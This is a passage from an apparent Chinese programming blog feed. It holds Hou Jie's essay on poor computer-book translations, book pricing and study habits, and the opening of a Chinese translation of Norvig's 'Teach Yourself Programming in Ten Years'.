		<p>「天才的土壤」，嗯，鲁迅说得好。不正应该是出版社的职志吗？我们却能向谁说去？其实我们也只是希望有一些好书造就一些资质不错的程序员而已。前一阵子才沸沸扬扬於印度程序员与中国程序员的比较，我们哪企望天才？不过就是希望培养一些扎实的人才而已。</p>
		<p>看倌也许奇怪，书不好，侯捷为什麽不把矛头对准作者，却大骂出版社。哇勒，我早就抱着「得之我幸，不得我命」的卑微态度，不敢期望创作性中文好书。上面我说的，以及读者最痛心疾首的，是翻译书的低劣水平。人才济济的中国，怎麽可能找不到够格的译者？如果不是出版社的抢钱抢短心态，会造就出这一大批劣品吗？我能不怪罪出版社吗？</p>
		<p>到头来，还是要靠自己。「计算机图书出版商的陷阱」一文最终是这麽说的：『记住，您花的是自己辛苦挣来的钱，所以千万不要浪费在没有用的东西上。对於出版了优秀图书的出版公司要有所回报。买他们的书，给他们写信，让他们知道你在想什麽，你需要什麽。』</p>
		<p>
				<br />良性循环<br />一个体系的建制，需要从底层到顶层的坚实构筑。不论是 C++, Java, .Net, OO, UML, Windows programming, Linux programming，每一个主题欲成就一个完整体系，都需要一大套书。拿C++/OOP 来说，就得涵盖语法语意的、物件模型的、专家经验的、设计样式（design patterns）的、入门的、进阶的，作为叁考工具的┅。拿 GP/STL 来说，就得有 GP 泛论型的、STL 源码剖析的、STL 应用大全的、STL 规格大全的、STL 组件设计的、其他泛型技术的┅。拿Java 来说，就得有语言核心的、物件导向的、多绪编程的、图形介面的、网路应用的┅。对生手而言，不先把底层的东西弄清楚就学习高层的抽象，必会成为空中楼阁，流于形式。对熟手而言，缺乏抽象思维，意味层次上的停滞。</p>
		<p>写作、翻译、乃至於出版全体系好书，真的是一件需要目光长远、意志坚定、带点理想色彩的人，才做得起来的志业。</p>
		<p>如果这样的人，这样的出版社，没有得到大家理念上和实质上的支持，谁会投入这种傻事？</p>
		<p>我个人一向是高品质高价位的坚定信奉者。高品质高价位是生产者经营的最大诱因。因为努力做出了高品质，所以得享高价位带来的高利润，天经地义。否则谁要费心去做高品质？慈善家吗？傻瓜吗？</p>
		<p>对於消费者，高价位当然令他不舒服。但是你应当思考是否物有所值，甚至物超所值。拿英文书为例，USD 49.95 一本的 The C++ Standard Library，或是 USD 49.95 一本的 Generic Programming and the STL，完全物超所值。当我了解这些书的价值，就算他们再贵两倍，我也要买。有人拼死吃河豚，我可是要拼命买好书。现实地说，眼下「知识经济」喊得震天响，好书带来的知识不正是赚钱工具吗？对赚钱工具小气，是不是和自己过不去？</p>
		<p>下面是一封读者来信：</p>
		<p>相较***无论是漫画作家、文学作家或是偶像歌星、影星的客观条件来比较， 在台湾，身为专业作家竟如此难为？有人可以连夜搭帐篷排队买票看演唱会，有人却可以论斤计两地讨论页数与书价高低。或许他们不知道，一本介绍C程式语言的入门书，在德国索价100 DM (约NT$2000)。 因此我的德国同事们购书前必定徵询意见或叁考书评。书价虽不低，但其读书风气仍不亚於***。 </p>
		<p>这里点出了一个重点：书价很高，於是大家慎选好书，重视书评。下面是另一封读者来信：</p>
		<p>我是一名大陆的读者，同时也是一名计算机的初学者。我在网上看到网友都十分推崇您的着作及译作。知道您的作品《深入浅出MFC》第二版即将在内陆出版，我决定买这本书，并与华中科技大学出版社取了联系。从那里知道您今年还会在大陆出几本书，我非常高兴，但在知道了您对价格的看法後，又有些失望。</p>
		<p>大陆与台湾的经济水平是不同的，作为普通的工薪阶层，购买力也是有限的。我们这里，各类图书中计算机类图书的价格是最高的，图书页码的最高位与书价的最高位基本相同 -- 700页的书，价格在70到80元之间，1000页以上的，价格在100元以上。这是目前大陆书价的大体情况。如果按您所说，350页，书价80元，在这里算是很高的价格了，这种价格的书，只能看，不能买。</p>
		<p>"春蚕到死丝方尽，蜡炬成灰泪始干"，教师工作被我们看成很神圣的职业，燃烧自己，照亮别人。我想您出书的目的，也是想让更多渴望知识的人受益于它，少走弯路。作为读者，我们也希望能够看到更多更好的书。但是在一定历史时期内，购买力与价格应当有一个平衡，350页80元的价格确实太高了，如果能够降到60元以内，我相信大多数读者可以接受。</p>
		<p>您的书的品质很高这是大家的共识，从价格上应当与其它书区别开来，但书价也不宜太高。名牌服装走高价位的路线，当然可以提高它的身价，显得它档次很高，但是太高的价格使它脱离了主要的消费群体，大多数人只能在口头上谈论它，却只有极少数的人会把它穿在身上。书籍与名牌服装不同，只有经过很多读者长时间的阅读之後，才能够证明它的价值，如果很多人都知道侯先生的书质量很好，但是却很少有人读过（因为价格问题），那岂不是一种悲哀。</p>
		<p>我最不乐意看到「xxx 页的书，售价 xxx 元」这种观念。一本书的价值在内容，不在页数。真要这麽算，每本书我们都应该检视一下其字型大小、行距字距、硬拷图多寡、留白多寡 -- 因为这些都关系着页数。如果大家都接受页数和书价的固定比例，肯定会有大量浮滥的书跑出来（不就是现在的情况）。</p>
		<p>不必这麽累。一本书值它的价，就买；不值它的价，就别买。很简单的逻辑。</p>
		<p>我们难道能够拿着尺衡量一件亚曼尼用了多少码布，来决定它的价格吗？或是拿着尺衡量一张梵谷是几号，来决定它的价格？我能够说因为我画的绣球花比梵谷的鸢尾花大两倍，所以我应该卖他的两倍价？</p>
		<p>买东西不能光看有形；那无形的往往更重要。买书不是买纸。正确价值观必须建立起来。</p>
		<p>当然很有可能你认为买名牌服装或名画的人都是疯子。你要的只是布和框。那表示那些物品在你心中不值那个价。很好，你有你的评价，你有你的选择。</p>
		<p>我不打算在「引喻」（例如名牌服装或名画）上面多着墨。引喻有顾此失彼的时候，笔战都是这样打起来的。各位知道我要强调的是什麽。</p>
		<p>350页的书，不应该一定卖 80元，也不应该一定不卖 80 元。这要看350页的含金量有多少。况且我从没说过侯捷有 350页的书要卖 80元。但所有的可能都存在。350页可以是180元，也可以是80元，也可能 530 页连 18 元都不值。请不要再以页数做为书价的依据了。</p>
		<p>教师的工作很神圣，但「燃烧自己，照亮别人」太沉重。「燃烧自己」，呵呵，说起来多麽容易，做起来多麽痛苦。某人的工作对众人有益，他会很开心。但你要他燃烧自己照亮别人，除非圣人，否则不干的。我很乐意照亮别人，却不想燃烧自己。燃烧自己，我只能照亮别人五年；把自己照顾好，我可以一辈子照亮别人。抬出大帽子，会让有能力写作好书的人畏惧不前。</p>
		<p>请大家接受这样的观念吧：书的价值在内容，不在厚薄，不在页数。价值影响价格，价值带动价格。接受这样的观念，便是对好书的所有出力者致上敬意与实质支持。如果大家慎选好书，10 本垃圾书的价格支撑两三本高价（其实是适价）好书绰绰有馀。走编程这条路，谁手上没有 10 本 20 本垃圾书！当大家慎选好书，支持好书（尽管它价格较高），就会带动书评风气，带动优良写译风气。这对所有的人都好。不需有人燃烧自己，大家都被照亮了。</p>
		<p>当然，高价位的薄书很可能带来盗印与影印的歪风。但无论如何，我是坚持己见不会退缩的。如果大环境真的无法提升，好书离开了，好人退出了，最後损失的是谁？</p>
		<p>不论各位相信不信，侯捷企图以个人影响力（如果有的话）建立优良的技术写作大环境，对台湾如此，对大陆也是如此。「问渠安得清如许，为有源头活水来」，要让大家有更多好书可读，就要有源头活水注入；要有源头活水，就要有更多诱因吸引更多才能之士到技术写译领域来。更多的诱因是什麽？让他们知道，好作品可以突出，可以区隔（讲白了就是有好价格），不会牛骥同一皂，这就是一种诱因。不，这不算诱因，这根本是一种基本道理。</p>
		<p>优质的书使读者受惠，优质书籍所带来的高报酬使作者、出版社受惠，并吸引更多优秀人才到这个领域。形成一个良性循环，大家都受惠。</p>
		<p>另外我要建议大陆出版社，善用你们独特的「影印版」。台湾的计算机类翻译书，由於也是良窳不齐，窳多於良，曾有读者开玩笑建议，出版社取得授权後，不要译了，直接以原文出版，读者看得高兴，售价又得以大幅下降。想来这就是大陆的影印版（在台湾是不许的）。既然翻译书已到了千夫所指的地步，何不乾脆多多引进影印版？不是要抢短抢快吗？这个最快了，读者也多一种选择。</p>
		<p>
				<br />翻译出了什麽问题<br />计算机翻译书的一个大问题是，译者没有时间（或正确的心态，或足够的中文能力）将译稿一看再看，一改再改。中文有一个缺点，那就是名词本身表现不出复数，动词本身表现不出时态。多数时候这可能不是很重要，因而可以忽略。但某些时候它们占有关键地位，於是一个精准的英文句子，往往需要译者额外花很大的心力，才能精准地以中文表达出来，那麽译者就得有足够的时间和足够的中文能力。而唯有译者在专业技术上具备足够的素养，才能够看出某些隐微地方对理解之正确性有关键性影响。</p>
		<p>英文里头的子句如果又臭又长，别说中国人，老外也得费一番手脚才看得懂。看看这个（C++ Primer 3/e, p730）：</p>
		<p>[code..] where the conditional test if (this != &amp;rhs)   prevents assigning a class object to itself. This is particularly inappropriate in a copy assignment operator that first frees a resource currently associated with the class in order to assign the resource associated with the class being copied.</p>
		<p>我的译文是：</p>
		<p>[code..] 其中的条件测试 if ( this != &amp;rhs ) 避免将 class object 指派给自己，因为「自己指派给自己」这个动作，对於那种「先将目前系结於自己身上的资源释放掉，以便稍後将该份资源再系结於即将被拷贝的那个 object 身上」的 copy assignment 运算子而言，尤其不合适。</p>
		<p>只需加几个引号，标示出子句，就好看多了。寻常一样窗前月，才有梅花便不同。如果没有引号辅助，你试译看看会是什麽样子。别对我说「根据教育部规范，上下引号只适用於强调专有名词或特殊语气┅」，规范是死的，人是活的呀。只要能够灵活而正确地表现出文意，就是好办法。小平同志不是说，管它黑猫白猫，会抓老鼠的就是好猫吗。阿波罗13号登月计划失败时，太空舱内的备用排气罩规格不符，地面控制中心要求宇航员必须想办法将方形罩子塞进圆形的排气管中，否则大家都得因为饱食二氧化碳而死於太空。这时候还想什麽规范？脑筋灵活点。</p>
		<p>另一个中文表达的大缺点是：动名词不分。操作是名词（operation），也可以是动词（operate）；实现是名词（implementation），也可以是动词（implement）；叁考是名词（reference），也可以是动词（refer）；请求是名词（request），也可以是动词（request）；委托是名词（delegation），也可以是动词（delegate）。当动词名词混杂一起的时候，就造成阅读上的错乱。於是你可以看到这样的句子（取材自《设计模式》p14，李英军等译，机械工业出版社）。请诸位先看原译，能否就中文语句结构分析出其大致意思：</p>
		<p>(1)原译：只有当委托使设计比较简单而不是更复杂时，它才是好的选择。</p>
		<p>(1)侯译：只有当「委托方式」简化了设计，它才是一个好的选择。</p>
		<p>(1)原文：Delegation is a good design choice only when it simplifies more than it complicates. </p>
		<p>(2)原译：委托方式为了得到同样的效果，接受请求的对象将自己传给被委托者（代理人），使被委托的操作可以引用接受请求的对象。</p>
		<p>(2)侯译：为了以「委托方式」获得相同效果，「请托（request）受理者」将自己传给被委托人，使自己得以让「被委托之操作行为」取用。</p>
		<p>(2)原文：To achieve the same effect with delegation, the receiver passes itself to the delegate to let the delegated operation refer to the receiver.</p>
		<p>我没有一别苗头之意。我的译法不见得最高明。况且翻译一整本书所需的各种前後呼应的考量，远比光译一两个句子复杂许多。只是既然我提出了问题，我总要提出自己的解法，给大家叁考评量。对於机械工业出版社愿意出版这样一本经典，李英军先生等人愿意翻译这样一本高阶而吃力不讨好的书，我是带有敬意的。</p>
		<p>另一个翻译上的问题就是大家往往在计算机类书中硬套一般字典查来的词汇，没人敢突围。要知道，一般字典并未考量电脑技术，更不可能考虑到上下文（context）。太多人抱着少做少错，不做不错的心理，一昧紧跟字典，不敢变动，才会造成目前许多译词不够理想，却动弹不得。我印象最深刻的是这几个字：</p>
		<p>instance：台湾和大陆均有不少人译为「实例」。这个「例」字根本不好。台湾甚至有人译为「案例」，更不妥当。为什麽这麽译，因为字典查来的现成词汇是这样。所谓 instance 就是根据某个东西（可能是实物，可能是某种表述）产生出来的一份实际物体。我认为译为「实体」是很合适的。根据 class 产生出来的便是object实体，根据 class template 产生出来的则是class 实体，根据 function template 产生出来的是function 实体。根据可执行档（executable files）产生出来的，则是一份 process 实体。</p>
		<p>paradigm：台湾常译为「典范」。为什麽？喔，字典查来的现成词汇。有时候这样译有点道理，例如 paradigm shift 叫做「典范移转」。问题是，何谓「典范移转」？很难望文生义是吧。把 generic paradigm 译为泛型典范，更是令人不知所以。我们日常用语里也有「典范」一词，我们会说某某人是国家社会的典范，那和计算机术语里头的 paradigm 根本不是同一个意思。根据 paradigm 在计算机术语中的实际意义，我把它译为「思维模式」 ─ 典型的、根本的思维模式。</p>
		<p>读者来了这样一封信：</p>
		<p>我向您讨教一个翻译风格的问题。正如您所说，英文技术书籍最难在长句子，因为英文的句式组合形式比中文大大丰富，理解起来已经费力，翻译成顺口的中文更难。我有时遇到这种句型，切分组合，翻来覆去掂量，还是觉得中文不忍卒读。您认为此时 (1) 我可不可以放弃 "信" 而求 "达"，也就是说略掉部份句子成份以保全译句的通顺？还是 (2) 务求将原义表达出来，宁可中文句子不顺畅也在所不惜？更有甚者，有时 (3) 某些句子无关宏旨，却异常难译，可不可以乾脆略过不译？您的看法是什麽？</p>
		<p>（各位有没有注意到，这位读者的中文很好。「切分组合，反覆掂量」这几个字用得多精简传神）我的看法是，译者有权利也有义务通权达变，但也必须有这份能耐才行。因此你的第一个问题我认为可以，你的第二个问题我认为不可以。你的第三个问题我认为可以，但需谨慎为之，莫因译者本身水平，牺牲了某些东西。</p>
		<p>科技翻译应该务求义译而非字译。信与达，应从整个句子或甚至整个段落来看，不是从一个个单字来看。技术文章和文学多有不同，译者最重要的任务是正确传达知识，并尽量减少读者的吸收困难。</p>
		<p>到底弹性的底限在哪里？我这麽认为，译者於技术层次上愈有把握，便享有愈大的弹性。只要技术层次够，有把握正确了解并传达了原作者要表达的技术，那麽，文字上不必字字拘泥。</p>
		<p>中文在科技表达中并非一无是处。中文有一个优点，就是资讯密度高，很多时候精简漂亮的一行中文，可以表达出「子句夹带子句再夹带子句」的三行冗长英文。中文有优美的词藻与取之不尽用之不竭的典故、成语、俗谚，如果善用它们，冰冷的技术文字一下子就能有阅读的乐趣。一本烂译本，会让读者诘屈聱牙，痛苦至极；但是一本好译本，能使人如沐春风。</p>
		<p>容我说一句，正确的心态、足够的时间、充裕的中文表达能力、水平以上的专业素养，是造就好译本的基本元素。现今情况如何？话说回头，好译者的报酬几何？你愿意多花点钱表示你对他们的付出的认同吗？</p>
		<p>
				<br />健康的选书心态<br />以下谈到选书的心态和作学问的态度，由於都以读者来信展开讨论，因此避免不了提到我写的《深入浅出MFC》。我要谈的问题，其实不局限於某一本书，或某一种技术。就像这篇文章先前举的许多例子一样，都是可以放大来看的。</p>
		<p>读者修书一封如下：</p>
		<p>2个星期前好不容易读完了您的大作，让我对MFC的认识多了不少，不过一点遗憾的是从您的书里并不能学到如何写一个具体的程序，仅仅是明白了MFC的'包装技术'。本来我还以为又上当了呢 因为我买这本书的目的就是要学习用MFC来做程序的...一个偶然的机遇让我得到了 Jeff Prosise的《programming windows with MFC》，这才发现老师您的书是多麽的重要，假如没有您的《深入浅出MFC》我又怎麽可能programming with MFC呢？...您的书救我于水深火热之中，带领我冲破MFC的条条封锁线。</p>
		<p>虽然这位读者最终对侯捷和侯捷的书以感谢和赞美作收，但我颇有感慨。</p>
		<p>读者往往以最直观的态度来审视一本书的价值，以最直接的方式来表达他的爱憎。但不能凡是不需要的，一律视为灌水；凡不符合需求的，一律视为欺骗。这不是一种健康的选书态度。即使你最後并没有发现《深入浅出MFC》「是多麽的重要，救我于水深火热之中，带领我冲破MFC的条条封锁线」，这本书又何尝在书名或内容欺骗过你，使你「以为又上当了呢」。再者「我买这本书的目的就是要学习用MFC来做程序的」，可是你若连MFC与application 的第一线接轨都不了解，照着葫芦画瓢，能写出多好的程序？</p>
		<p>我不是责怪这位读者，只是这封来信代表某些现象，让我心有感慨。下面是另一种偏激：</p>
		<p>您的书我觉得有些无用的原理讲的太多了! 你所写的并不是真正的教人怎麽用VC,而是教人VC运做是怎麽样进行的! 其实很多读者真正关心的问题并不是在这里! 而是在怎麽对用VC设计出真正出色的程序!</p>
		<p>读者永远只想要看自己想看的内容，这一点很自然。但是你不想看到的东西并非就是「无用」，它对别人可能「很有用」。再说，连MFC与application 的第一线接轨都不了解，照着葫芦画瓢，我不知道你能写出什麽「出色的程序」。只要出一点差错，你连除错的能力都没有。开车是很简单的，开车上路遇到各种突发状况而能应付并排除障碍，才是困难的地方，才是技术的表现。</p>
		<p>下面是两封台湾读者的意见，有点年代了。当然我必得先说明，抱持这种态度的读者，比例大约在百分之零点零一。</p>
		<p>读者意见一</p>
		<p>这本书包装太厚。不该有的东东太多，附录A所列的无责任书评，在我想来也是多馀。因为这篇书评在RUN!PC早有提及，後来也出了无责任书评第三集，因此实在没有这个必要。想来是侯先生要增加书的厚度，有以致也。</p>
		<p>读者意见二</p>
		<p>书评不应该放在这本书里吧! 因为这些东西而让书太厚实在有点┅这些灌水的东西共计有：<br />(a)1-16页的读者来函：共16页<br />(b)超长的序，嗯，这应该没有关系<br />(c)843-872页的无责任书评：共30页(其实里面有一些发人省思的东西，还好)<br />(d)873-914页的Scribble原始码：共42页(这最严重，几乎没必要的东西)<br />(e)915-920页的VC范例程式一览：共6页(很可惜，如果再多加发挥的话很有用，<br />但是侯Sir只是列个标题，连说明都是英文，和看Help档没什麽差别)<br />共计：94页</p>
		<p>不是我无聊找碴，您可曾看到有哪本书有将近一百页的赘肉?更别题书中动不动就列出四五页的原始码了。这些在光碟上都有，何必浪费纸张? 不过消掉这些赘肉，这本书还是有它的价值┅至於书中缺少的部份，我认为要看您如何去定位这本书。<br />总不能要求一本书把所有Program的东西讲完吧! 以探讨MFC的内部而言，本书没什麽好批评的了。总而言之，这本书该不该买，我想还是肯定的。但是如果书能瘦点、售价能低点，那就更好了。</p>
		<p>说来说去，原来是为了「如果书能瘦点、售价能低点那就更好了」。这便是页数和售价牵扯观念下的可怜受害者，他们扭曲了书籍的价值，也严重扭曲了自己该有的正确价值观。如果我告诉这些读者，少掉那100页的所谓「赘肉」，售价一样是 NTD 860，恐怕他们又要对这些「赘肉」热情拥抱来一个亲亲了。真的是这样，这本书是先确定价格，最後为了给读者更多资讯和更大的方便，我才加上那些「赘肉」的。</p>
		<p>这一类读者，站在敌对的立场，看待出版社和作者，幻想每一个人都在觊觎他的钱包，并且认为对他无实质帮助的每一页（可能只是因为他已看过）都是被刻意灌水的结果，都是为了欺骗他的钞票。这样的读者在杯弓蛇影的压力之下，忘记了没有任何一本书是为个人量身打造的，也忘记了其他人可能有不同的需求，完全以自我为中心。</p>
		<p>这一类不成熟的读者，实在是当前劣品充斥下的牺牲者。老实说我个人并不喜欢他们成为我的读者。只是，读者有选择作者的权利，作者却没有选择读者的机会。</p>
		<p>
				<br />正确的作学问态度<br />前面两篇来信透露出一个疑惑，《深入浅出MFC》是不是一本对VC编程有帮助的书。我不是要在这里夹带推荐该书（相信我，我不需要如此），而是想透过MFC与VC的关系，引申谈谈作学问的态度。如果「作学问」太高远了，那我们来谈谈「学习」的态度吧。</p>
		<p>以下是一封读者来函：</p>
		<p>我有个疑惑，想请你帮助。我们今天学C/C++，明天学MFC，OWL(如果流行的话)<br />後天学C#，JAVA...如果 WINDOW 被 X WINDOW 淘汰，岂不是都要从头学过？有没有必要把一切搞得如此精通？同样的目的，为什麽不用更方便简单的快速RAD开发工具？而非要以钻研繁杂作为乐趣？和体现水平？是否搞错了方向和目标？我认为这正是目前大陆（台湾我不了解）软件开发的一个错误的方向。</p>
		<p>所有同质的技术都有累积性与共通性。信中提到的三组东西：MFC, OWL, 或是 Windows, X Window, 或是 C++, Java, C#, 都有类似性与共通性。技术是会累积的，有了某种经验，学习新技术会快很多。经验愈多，学习愈快。所以我常喜欢说「触类旁通」。如果每种技术都得从新学习，大家三五年就得归零一次，人类世界就不会在 20 世纪像爆炸似地进步这麽快。</p>
		<p>「有没有必要把一切搞得如此精通？」我的回答是：看个人需求与定位。基础知识的精通，是做为应用的一种过程与手段，而不是目的。如果你不需要通过这样的过程，就可以把你要做的事情做得很好，那麽当然你可以跳过这个过程。我所知道的是，许多许多人必须先有这样的过程，才能够良好达成期望目标。我自己也需要通过这样的过程（否则写不出这样的书）。这不是你所谓的「钻研繁杂」或「体现水平」。</p>
		<p>既然信中提到RAD，我也谈谈我的看法。我曾经写过一篇文章，把RAD喻为「匹夫无罪，怀璧其罪」（见侯捷网站 1999/01/26 怀璧其罪 RAD），建议各位看看。我很赞成使用RAD。我书写MFC书籍，探讨MFC技术，但从来没有认为它最好，或不好，我只是要帮助那麽多使用MFC的人。和Bjarne 的态度一样，我对诸如此类的工具评比活动一点兴趣都没有。我乐意当一名观众，但从来不评比（应该可以说，也没有能力评比）。</p>
		<p>RAD 的情况，可以拿汽车做比喻。现今谁开车还需要知道齿轮箱、传动轴、离合器、引擎点火原理、火星塞呢？但是满街开车人谁又能够表演360度大回旋？要到达「车手」的程度，就必须对车子的原理有相当程度的了解。同样是开车，洗拿（F1方程式冠军车手）和侯捷两人发挥车辆功能的程度，绝对有天壤之别。我认识的所有惯使RAD 的高手，无一不是有底层深厚功力。以RAD始，以RAD终，断不能在技术上有所太大长进。你的生涯将是空白的五线谱，没有高音，没有低音，永远的水平┅。</p>
		<p>RAD是要用的，有好工具不用，和自己过不去。但是使用RAD的同时，对底层做更多的了解才有助於在某种情况下脱困或自助。这和 STL 的运用也一样。会用STL，是一种档次。对STL原理有所了解，又是一个档次。追踪过STL源码，又是一个档次。第三种档次的人用起 STL 来，虎虎生风之势绝非第一档次的人能够望其项背。</p>
		<p>学习某种工具，及其背後代表的某种技术，究竟要钻研到什麽深度？唔，答案视你想扮演什麽角色而定。「F1方程式车手」和「半夜三点才敢上台北大马路的用车人」之间，有许多许多的层次，你自己定位自己。</p>
		<p>有些人绝对拥护RAD，有些人又重新反省RAD。下面是另一封信：</p>
		<p>我原本是一个一天到晚使用RAD工具的人...但是历经了三个版本之後，我有一种被骗的感觉，因为处在这个环境中，似乎是投身在别人设好的一个圈套里！这种东西会让人对於『了解 OS 内部运作以及各种规范与协定的基础层面』的欲望慢慢减低至零。今天为了突破某一个元件的限制而自己写了一个元件，明天新版RAD内附元件就出现了比自己写得还要好的东西。到了最後，自己不想写，只想等别人写给你<br />；要是别人不写，你就彻头彻尾地丧失了一项能力...(天晓得要等到何年何月)，要不然就是官方给的元件功能少东少西。不只这些！最让我受不了的是，我竟然发现：程式用这种方式去写，简直就比用Office 还要简单，深入的思考几乎是零...。</p>
		<p>我在「怀璧其罪 RAD」一文中是这麽回答的：</p>
		<p>1. RAD 并非罪恶，而是优点。要怎麽用它则是你自己的问题。我有两位朋友是 Delphi 专家，他们可以使用 Delphi 做任何事情，没有任何你想像中 RAD「该有」的限制。</p>
		<p>2. 果真能够「写一个程式，比使用 Office 还要简单，深入的思考几乎是零」，并不是坏事。大家都能够随手写个小程式解决手边几个小问题，是为component software 以及 RAD 的大贡献。但你的形容太夸张了，目前的 RAD 还不至於美好若此，总还需要一些程式逻辑和程式语言的基本训练。真到了你说的那一天，我觉得是件好事而不是坏事。只不过，那样子完成的程式，都需藉助现成的元件。如果要突破现成的框框，就得有更深的功力。无论如何，RAD 不会是你的绊脚石。</p>
		<p>这类话题很难一言以蔽之。总之，优秀的技术者一定需要一个向下沉淀的历练，通过了这层历练，有了扎实的基础，就可以向上浮升，开始以抽象的思考，抽象的语言、快速开发工具来进行高层次的开发工作。这时候运用 RAD 工具，当能如虎添翼。</p>
		<p>所谓百炼成钢；钢的形成，是将铁块不断锤打，不断回火，不断淬炼。做为一个程式员，本身技能的层次，和回火淬炼的次数有密切关系。</p>
		<p>让我们再回头谈谈基础建设。很多资讯科系在学学生对学校所开的课程，非常不服气，非常不屑，认为对编程能力一点帮助也没有。首先我要说，编程、软件开发并不是资讯系学生的唯一出路。资讯领域何其广泛，编程只是其中小小的一支而已（但对就业市场而言则是大大的一脉）。其次我要说，基础理论课程并非对你的编程一无是处 ─ 不是无用，只是未到用时。有些科目的影响非常直接而深远，例如对编程最重要的两门课：资料结构（data structure）和演算法（algorithm），这两门课对逻辑思考与实现能力的训练，有关键性的价值。没有这两门课做底，任你 C/C++/Java 多强多行，也写不出个好程式。其他基础理论课程也都各有用途，会不会在你未来的编程生涯中带来帮助，那得看你编哪一种程。就业与学校所学，不必然会发生关系，不必然不会发生关系。</p>
		<p>编程能力强的年轻同学，容易孳生一种趾高气扬的恶习，看这不顺眼，看那不顺眼，教授都老朽，同学都可笑。问他为什麽，哦，因为「他们的编程功力都不如我」。可笑的正是你自己呀。</p>
		<p>编程实力的培养其实很容易的。我所谓容易，是指不需借助外力，纯粹自修就几乎可以做到。再没有比这更幸运的事了。当然你的进修必须按部就班（在我的专长范围内，我写了很多让你前进时有所依循的文章，都在侯捷网站上）。任何高深的理论，只要实际操作过都可以霍然理解，编程的实作又有什麽难的。数本好书，一部电脑，一些必要的工具，全部搞定，只欠一股「头悬梁锥刺股」的苦读精神。实力进展到一个阶段後，我非常鼓励你追踪名家源码（有人指导更好）。司马相如说：能读千赋则善赋，能观千剑则善剑。侯捷说：读过千赋亦能赋，观过千剑亦能剑。</p>
		<p>最後我还要说，学校（尤其大学）原本不是职训所。但是关於人格的培养，思想的启迪，视野的开拓，现今言之，恐怕是陈义过高，没人爱听了。</p>
		<p>学校肯定有学校的缺失。其一是课程太过理论，高来高去。以大学生的程度而言，太过抽象的东西他们是没有能力接受的。但是要化抽象为具象，化繁为简，可得有非常深厚的实力才行。其二是教材、教具、教师太过陈旧，跟不上时代。我印象最深刻的是，台湾BBS时常有学生问 Turbo C 3.0 上的问题。我的妈呀，C++ Standard 都出来两年了，学校还在用TC3.0。倒不是说一定要追最新最炫的工具或产品，但是TC3.0 距离 C++ Standard，有月球到地球的距离吧。用这个编译器，可想而知老师教的是什麽内容，可想而知老师本身跟上外界脉动的程度。如果新工具新产品都很贵，顾及学校经费，我们也能体谅。可 Borland C++ 5.5, GNU C++ 2.96, TAI C++ 都是可以免费下载或限期试用的呀。它们对 C++ Standard 的实现，比TC3.0 好太多太多了。 </p>
		<p>这就涉及学校教育里头最重要的关键：师资。说句实在话，大学里头有不少老师，书是念得很棒，就是没有实作经验，更没有业界经验。因循苟且之念一动，万年教材一摊，同学们就只有自求多福。 </p>
		<p>自救之道当然有：你必须更勤奋。勤奋看书，勤奋发问。勤奋搜寻好的导师和好的读物。或许天道酬勤，就让你碰上一个传道授业解惑的贵人，就让你知道一本必读的经典，并且就让你找到它。</p>
		<p>说到勤奋发问，让我发出本文的最後一声感叹做为结束。台湾大学生在「表达能力」这一点，程度普遍低下幼稚。能够条理分明把自己的意思表达清楚的，十分罕见。反映出来的，就是怯怯懦懦，理不直而气不壮。私底下声若洪钟，要他站起来公开表示意见，却如细蚊之嗡嗡。不论口语或文字，用词普遍地「俗」。大陆情况，就我的印象，以及我收到的读者来信，感觉好很多。以前台湾的说法是，因为大陆斗争厉害，人人得有一口利嘴以求自保。但文革已过数十年，我看大家的表达能力普遍还是很不错，是不是求学阶段中曾经特别重视这个？</p>
		<p>发问的能力影响学习甚巨。善问者使人继其声，善教者使人承其志。我常自诩为一名善教者，但如课堂上兼能有一名善问者，高潮迭起，全班受惠。<br /></p>
<img src ="http://www.cnitblog.com/weitom1982/aggbug/10202.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/weitom1982/" target="_blank">高山流水</a> 2006-05-08 16:28 <a href="http://www.cnitblog.com/weitom1982/archive/2006/05/08/10202.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>10年编程无师自通 </title><link>http://www.cnitblog.com/weitom1982/archive/2006/05/08/10201.html</link><dc:creator>高山流水</dc:creator><author>高山流水</author><pubDate>Mon, 08 May 2006 08:21:00 GMT</pubDate><guid>http://www.cnitblog.com/weitom1982/archive/2006/05/08/10201.html</guid><wfw:comment>http://www.cnitblog.com/weitom1982/comments/10201.html</wfw:comment><comments>http://www.cnitblog.com/weitom1982/archive/2006/05/08/10201.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/weitom1982/comments/commentRss/10201.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/weitom1982/services/trackbacks/10201.html</trackback:ping><description><![CDATA[
		<div class="postText">
				<font color="#0000ff">
						<br />原文：Teach Yourself Programming in Ten Years<br />作者：Peter Norvig<br />翻译：郭晓刚（foosleeper@163.net）<br />最后修订日期：2004-3-19<br />2005-01-12增加了新的译本链接。<br /><br />本中文译本得到了Peter Norvig的许可。<br /><br /><br /><br />为什么每个人都急不可耐？<br /><br />走进任何一家书店，你会看见《Teach Yourself Java in 7 Days》（7天Java无师自通）的旁边是一长排看不到尽头的类似书籍，它们要教会你Visual Basic、Windows、Internet等等，而只需要几天甚至几小时。我在Amazon.com上进行了如下搜索：<br />　　　　pubdate: after 1992 and title: days and (title: learn or title: teach yourself)<br />　　　　(出版日期：1992年后 and 书名：天 and （书名：学会 or 书名：无师自通）)<br />我一共得到了248个搜索结果。前面的78个是计算机书籍（第79个是《Learn Bengali in 30 days》，30天学会孟加拉语）。我把关键词“days”换成“hours”，得到了非常相似的结果：这次有253本书，头77本是计算机书籍，第78本是《Teach Yourself Grammar and Style in 24 Hours》（24小时学会文法和文体）。头200本书中，有96%是计算机书籍。<br />结论是，要么是人们非常急于学会计算机，要么就是不知道为什么计算机惊人地简单，比任何东西都容易学会。没有一本书是要在几天里教会人们欣赏贝多芬或者量子物理学，甚至怎样给狗打扮。<br />让我们来分析一下像《Learn Pascal in Three Days》（3天学会Pascal）这样的题目到底是什么意思：<br /><br /><br /><br />学会：在3天时间里，你不够时间写一些有意义的程序，并从它们的失败与成功中学习。你不够时间跟一些有经验的程序员一起工作，你不会知道在那样的环境中是什么滋味。简而言之，没有足够的时间让你学到很多东西。所以这些书谈论的只是表面上的精通，而非深入的理解。如Alexander Pope（译注：英国诗人、作家，1688-1744）所言，一知半解是危险的（a little learning is a dangerous thing）。<br /><br 